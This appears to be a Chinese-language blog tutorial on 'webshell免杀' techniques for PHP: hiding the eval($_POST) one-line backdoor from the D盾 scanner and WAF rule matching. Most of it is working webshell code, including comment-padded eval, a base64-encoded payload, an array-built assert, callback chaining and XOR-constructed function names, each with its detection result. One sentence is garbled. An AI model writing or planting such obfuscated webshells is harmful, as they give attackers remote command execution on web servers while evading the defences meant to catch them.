此篇只讨论php,其实原理是相同的,本文的思路依然适用于其他语言
WAF一般都是维护一个规则库,记录webshell常用的函数、方法等等,通过这个规则库匹配从而检测是否是木马.当匹配上对应特征时就是告警,但是规则匹配肯定会有误报,waf一直告警也很烦,所以waf一般会稳定为首要目标,也会放宽一下规则,这就是绕的基础
查杀软件我首先:D盾
『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,以内外保护的方式 防止网站和服务器给入侵,在正常运行各类网站的情 况下,越少的功能,服务器越安全的理念而设计!限制了常见的入侵方法,让服务器更安全
由于php7.1以后assert不能拆分了,所以此篇不使用assert函数作为核心,使用适用性更广的eval
在这里我们用最新版D盾进行查杀

首先请出我们最爱的一句话木马:

<?php @eval($_POST['1']);?>

无论如何混淆webshell,我们期望最终得到的逻辑依然是这条代码,所以答案知道了,想办法混淆就行了。
我们先看下这个的查杀吧

显然被杀了
经过对D盾的探测,可以知道,它对函数的检测其实是比较粗糙的,比如我们构造一个函数,让其返回值拼接为

<?php

function x()
{

    return $_POST['1'];

}

eval(x());
?>

虽然没被直接杀掉但是级别也换成了2级
首先,无论如何更改函数名,都会被杀掉,所以和函数名没关系,然后就是eval内的参数了,测试后发现,只要拼接成eval($_POST[‘a’])就会被杀,因此我们避免语句直接拼接为这样即可。

如何避免直接拼接呢 当然是往中间加料了 加一些既不会破坏语法又能起到隔离作用的东西,什么东西可以做到这样呢?当然就是注释了

<?php

function x()
{

    return "/*sasas23123*/".$_POST['a']."/*sdfw3123*/";

}

eval(x());
?>


可以看到已经完全绕过查杀了

既然如此,我们的核心绕过思路就是利用注释了,为了去除特征,必不可少的就是随机性了
使用函数返回值与eval拼接只是权宜之计,毕竟也是一条规则就能够被干掉的。所以我们这里使用类和构造函数来替代主动调用函数。

<?php
class x
{

        function __construct()
        {      
                @eval("/*sasas23123*/".$_POST['a']."/*sdfw3123*/");
        }

}
new x();

?>


尴尬了被查杀了这样也不行,看来eval是被重点关照的对象。
改到这里,我不禁想 如果D盾发狠把".P O S T [ ′ a ′ ] . " 当 独 立 规 则 , 那 岂 不 是 也 歇 菜 , 所 以 , 我 决 定 使 用 b a s e 64 编 码 将 " _POST['a']."当独立规则,那岂不是也歇菜,所以,我决定使用base64编码将"_POST[‘a’]"转化一下

<?php
class x
{
        public $payload = null;
        public $decode_payload = null;
        function __construct()
        {       $this->payload='ZXZhbCgkX1BPU1RbYV0pOw==';
                $this->decode_payload = @base64_decode( $this->payload );
                @eval("/*sasas23123*/".$this->decode_payload."/*sdfw3123*/");
        }

}
new x();

?>


可以看到杀到了二级也不行。
试试数组

<?php
$b = substr_replace("assexx","rt",4);
$a = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['x'])))));
?>

完美绕过
下面试试组合回调函数绕过

<?php 
 function zeo($c,$d){
     pj()($c,$d);
 }
 function pj(){
     return "register_shut"."down_function";
 }

 $b=$_POST['x'];
zeo(assert,$b);
?>


完美绕过
看看无字符码
没有字母,简单来说就是字母被替代了

就是用各种运算,例如异或,拼装出来想要的函数

最后能构造出a-z中任意一个字符。

然后再利用PHP允许动态函数执行的特点,

<?php
@$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
${$__}[!$_](${$___}[$_]);
?>

看来这样也不行

看看字符串变换

<?php
$a = substr_replace("xxser","asser",-3);
$aa = array('',$a);
$b = $aa[1].chr('116');
$fun=preg_replace("/xx/","",$b);
$cc = substr_replace("",$fun,0);

$cc($_POST['x']);
?>


可以看到二级也不太行
接着看下php7以下的版本
assert函数

<?php assert(@$_POST['a']); ?>

尴尬直接过了

<?php
func = $_GET["func"];
assert("$func()");


GET方法不太行
这个是我总结的webshell免杀技巧,后期有更好的绕过免杀技术再和大家分享